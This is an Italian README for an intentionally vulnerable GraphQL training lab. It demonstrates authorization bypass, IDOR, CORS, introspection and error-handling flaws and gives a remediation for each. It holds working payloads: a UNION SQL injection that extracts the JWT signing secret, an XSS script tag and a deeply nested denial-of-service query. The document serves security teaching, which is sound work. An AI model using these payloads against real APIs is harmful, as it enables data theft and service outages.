
Ricerca su GraphQL dal punto di vista di AppSec.
È stato creato un laboratorio per studiare i diversi problemi, questo assume il contesto di un veterinario che gestisce la cura dei cani.
Il laboratorio è stato sviluppato utilizzando IntelliJ IDEA Community Edition.
I domini utilizzati sono i seguenti:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Ecco le condizioni e le assunzioni del laboratorio:
* Un veterinario può essere associato a 0 o N cani.
* Un cane può essere associato a 0 o 1 veterinario.
* Un veterinario possiede una proprietà chiamata **Popularity** presente nel sistema di archiviazione (database) ma non deve essere accessibile dal client GraphQL perché è un'informazione sensibile.
* Il punto di vista del consumo dati di GraphQL è il veterinario. Le informazioni sui cani sono pubbliche.
* Il laboratorio è esplicitamente un'applicazione vulnerabile in cui sono state implementate diverse vulnerabilità identificate tramite il marker `[VULN]` nei commenti.
* Per quanto riguarda l'autenticazione, è stato implementato un finto servizio di terze parti (tramite un servlet) che restituisce un token JWT contenente il nome del veterinario nel token.
Una volta avviato tramite la configurazione di lancio presente nel progetto o dal comando `mvn spring-boot:run`, il laboratorio è disponibile su questi endpoint:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Per impacchettare l'applicazione come file jar portatile, usa il comando `mvn package` (un file jar precompilato è disponibile [qui](https://github.com/righettod/poc-graphql/releases)):
* Il file jar verrà creato nella cartella *target* e si chiamerà *graphql-poc.jar*.
* Usa il comando `java -jar graphql-poc.jar` per eseguire l'applicazione.
## Distribuzione su Docker
> L'immagine viene pubblicata ogni giorno su [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Per distribuire l'applicazione in un container docker segui i passaggi:
1. Assicurati di avere `docker` installato.
2. `git clone` del repository.
3. Entra nella directory clonata.
4. Costruisci l'immagine docker usando `docker build -t poc-graphql .`
5. Ora un'immagine chiamata **poc-graphql:latest** è stata creata sulla tua macchina.
6. Esegui il container usando `docker run -p 8080:8080 poc-graphql:latest`
7. Accedi al laboratorio usando i seguenti endpoint:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Debolezze di sicurezza
### Autorizzazione
*controllo di accesso non funzionante*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problema
Poiché GraphQL si basa su un singolo endpoint a cui vengono inviate tutte le richieste e poiché l'autorizzazione è al di fuori dello scopo della specifica (nessuna funzionalità integrata).
Spetta all'applicazione implementare una logica di autorizzazione.
Nel mio laboratorio ho una vulnerabilità su questo punto perché la verifica del token di accesso non verifica che il token appartenga al veterinario passato in **veterinaryId**
**Esempio:**
Chiedo un token di accesso per **Dr Julien** che ha l'identificatore **3** nell'archivio inviando questa richiesta GraphQL:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Ricevo il token di accesso nella seguente risposta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Invia una richiesta GraphQL alla query `myInfo(...)` usando il token di accesso ottenuto MA specifico l'identificatore **2** che è quello di **Dr Benoit**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Ricevo nella risposta GraphQL l'elenco dei Cani associati a Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Reco
Con GraphQL siamo passati da una matrice di autorizzazione basata su `Role x Feature` a una sicurezza a livello di dati basata su `Role x Data`, perché esiste un unico endpoint. L'identità e i ruoli dell'utente devono essere passati al livello superiore incaricato di acquisire i dati (o di agire su di essi) per applicare una verifica utilizzando l'identità dell'utente prima di acquisire i dati.
### Iniezione
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Problema
A seconda di come le informazioni dalla richiesta GraphQL (query/mutation/subscription) vengono utilizzate dal server GraphQL per agire sui datastore, esiste la possibilità di iniezione.
Nei miei laboratori ho una vulnerabilità su questo punto riguardante SQLi nella query `dogs(namePrefix: String, limit: Int = 500): [Dog!]` perché il parametro **namePrefix** viene utilizzato nella concatenazione di stringhe per costruire una query SQL.
**Esempio:**
Invio questa richiesta GraphQL per elencare il contenuto della tabella `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Ricevo nella risposta GraphQL il segreto usato per firmare il token JWT insieme al nome del cane per cui il nome inizia con ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Riguardo XSS, è interessante notare che la risposta GraphQL riflette il parametro inviato in caso di fallimento della validazione sulla richiesta inviata.
**Esempio:**
Invio questa richiesta GraphQL alla query `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, sostituisco l'identificatore Veterinary (che è un intero) con un payload XSS di stringa:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Ricevo questa risposta GraphQL che riflette il mio payload, quindi, a seconda del client GraphQL e del suo comportamento di escaping/sanitizzazione, può aprire la porta a XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Raccomandazione
* Applicare la validazione dell'input sui dati ricevuti tramite Query/Mutation/Subscription prima di utilizzarli
* Assicurarsi che il client che renderizza i dati dalla risposta GraphQL applichi escaping/sanitizzazione sui dati prima di renderizzarli.
### Esaurimento delle risorse
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Problema
Poiché il client controlla la quantità di dati richiesti, può inviare una richiesta GrapQL a una query che causa un esaurimento delle risorse sugli storage chiamati dal server GraphQL oltre che sul server GraphQL stesso per la serializzazione dei dati in JSON.
Questo problema può verificarsi anche utilizzando una mutation inviando una grande quantità di dati nei parametri (la validazione dell'input può essere utilizzata qui per prevenire questo attacco).
Questo problema può verificarsi anche utilizzando una subscription tramite:
* Registrare un gran numero di sottoscrittori e su ogni subscription esposta.
* Inviare una grande quantità di dati nei parametri utilizzati dalle subscription.
Nei miei laboratori ho una vulnerabilità su questo punto per le query, precisamente nella query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` che è disponibile per utenti anonimi e recupera il contenuto del DB riguardante i Dog. Poiché esiste una relazione tra Dogs e un Veterinary e il viceversa, è possibile effettuare chiamate a cascata causando esaurimento delle risorse a livello SQL sul DB.
**Esempio:**
Quando invio questa richiesta, porto la mia CPU al 100% per diversi minuti e il mio DB è locale perché è un SQLite```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Per le Query:
A seconda dell'implementazione del server GraphQL utilizzato, sfrutta la protezione integrata fornita per Profondità Massima della Query & Complessità della Query (vedi specifiche qui).
Per l'implementazione Java, aggiungi queste 2 classi di strumentazione alla strategia di esecuzione:
Vedi questa classe per un esempio di utilizzo delle 2 strumentazioni sopra.
Per Mutation/Subscription:
Con GraphQL, una funzionalità di introspezione viene offerta al client per accedere allo schema dell'API al fine di scoprire i dati disponibili, le Query e le Mutation e Subscription su di essi.
Nota: Disabilitare Introspection mette il tuo server in violazione della specifica GraphQL e delle aspettative della maggior parte dei client, quindi usalo con cautela; preferisci filtrare l'accesso piuttosto che disabilitarlo dal punto di vista aziendale.
Ciò implica che qualsiasi client è in grado di esplorare lo schema per vedere nei Type se sono esposte informazioni sensibili interessanti (è la stessa osservazione riguardo alle azioni relative alle Mutation o Subscription esposte).
Utilizzando GraphiQL tramite il pannello Documentation Explorer o questo script è possibile navigare lo schema esposto da un endpoint GraphQL.
Nel mio laboratorio ho, per errore, esposto l'informazione popolarità considerata sensibile su un Veterinario nel Type Veterinary
Nel mio laboratorio, questo url permette di ottenere una copia dello schema.
Esempio:
Usando il pannello Documentation Explorer, ho trovato questo campo:



È possibile impostare un vincolo di autenticazione sull'accesso all'endpoint GraphQL per impedire l'esposizione a utenti anonimi, ma qualsiasi utente autenticato avrà accesso a queste informazioni dello schema.
Anche se un client può vedere la struttura di un tipo che espone informazioni sensibili, per vedere queste informazioni deve essere autorizzato sulla Query/Mutation/Subscription che restituisce questi dati.
Non mappare informazioni sensibili nel tipo definito nello schema.
Poiché GraphQL materializza come il client consumerà i dati, GraphQL non deve esporre tutti i dati disponibili nell'archivio collegato, ma solo quelli utili per il client in base al contesto aziendale dell'API GraphQL a cui è esposto.
Quando il server GraphQL incontra un errore imprevisto (I/O con storage, NullPointerException, Timeout...), la risposta indica Internal Server Error(s) while executing query quindi dà un indizio all'attaccante di aver agito sul sistema e causato un comportamento imprevisto.
Esempio:
Quando invio questa richiesta query sul mio laboratorio (token non valido):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Ricevo questa risposta che mi informa di aver agito sul sistema e causato un comportamento imprevisto. Forse, ad esempio, ho generato una traccia dello stack nei log dell'app e, se i file di log dell'app ruotano per data (giornalmente) e non per dimensione, posso inviare più volte questa richiesta per riempire il disco con log di errori...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Restituisce un errore generico se si verifica un errore imprevisto, come ad esempio Query cannot be processed!
Vedi un esempio in questa classe.
Se l'API GrapQL espone Query/Mutation/Subscription per le quali l'identificatore dei dati è indovinabile/prevedibile, allora le Query/Mutation/Subscription sono esposte ad attacchi IDOR in cui l'attaccante utilizzerà una lista di identificatori costruita ad hoc per cercare di accedere o agire su dati aventi un identificatore presente nella lista. L'azione riuscirà se sono presenti anche problemi di autorizzazione sulla Query/Mutation/Subscription target che gestisce i dati in questione.
La Query/Mutation/Subscription dell'API GraphQL proposta dai miei laboratori è vulnerabile a IDOR perché utilizzo numeri interi sequenziali come identificatori univoci per Cane e Veterinario.
Esempio:
Utilizzando il Documentation Explorer di GraphiQL vediamo che gli identificatori sono semplici numeri interi e sono sequenziali:


Richiesta di query per rilevare IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
La risposta mostra l'identificatore sequenziale per Dog e Veterinay:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
Quando si utilizza un server di implementazione GraphQL per costruire la propria API GraphQL, può accadere che questo abiliti per impostazione predefinita alcune funzionalità che espongono l'API GraphQL alla sfera sbagliata di client.
Nel mio laboratorio è così perché, per impostazione predefinita, un endpoint WebSocket è esposto sul percorso /subscriptions e non richiede alcuna autenticazione (vedere questa documentazione precisamente la sezione Realtime Updates with Subscriptions):

I client possono ottenere accesso ai dati dell'API tramite questo endpoint se lo schema dichiara le sottoscrizioni nella sezione Subscription.
Esempio:
Posso vedere le sottoscrizioni esposte tramite lo schema:

Se invio questa richiesta di sottoscrizione per ricevere eventi dalla sottoscrizione newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
Ricevo il seguente messaggio che indica che, d'ora in poi, riceverò informazioni da questo abbonamento:```text
Your subscription data will appear here after server publication!
E quando creo un'associazione tramite questa richiesta di mutazione in un altro browser, per esempio:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
La risposta della mutazione dimostra che l'azione è stata eseguita a livello di dati:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Dopo un momento, ricevo questa notifica in risposta alla mia sottoscrizione:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Abilitazione predefinita del Cross-Origin Resource Sharing
Nel mio laboratorio è così perché, per impostazione predefinita, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) è abilitato e impostato a `*` in modo che l'API possa essere chiamata da qualsiasi `origin`.
**Esempio:**
Quando invio questa richiesta in cui specifico un `origin` diverso da *domain1.local* a *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Ricevo questa risposta:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Call from a browser:


#### Raccomandazione
Verifica le funzionalità abilitate per impostazione predefinita e disabilita quelle che influiscono sull'esposizione dell'API.
Per l'endpoint delle Sottoscrizioni:
* Se esponi le sottoscrizioni, assicurati che siano in atto Autenticazione e Controllo degli Accessi per ogni sottoscrizione esposta nello schema.
* Se non esponi le sottoscrizioni, disabilita l'endpoint WebSocket o bloccalo a livello di WAF/Server Applicativo.
Nel mio laboratorio ho impostato le seguenti opzioni in questo [file di configurazione](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties):
* Per CORS: `graphql.servlet.corsEnabled=false`
* Per WebSocket: `graphql.servlet.websocket.enabled=false`
## Query di scoperta
Le seguenti query possono essere utilizzate per ottenere lo schema.
Non dettagliato:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
Dettagliato:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## Riferimenti utilizzati
### GraphQL
* [Sito GraphQL](https://graphql.org/)
* [Tutorial GraphQL](https://www.howtographql.com/)
* [Blog DOYENSEC sui problemi di GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### Laboratori
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)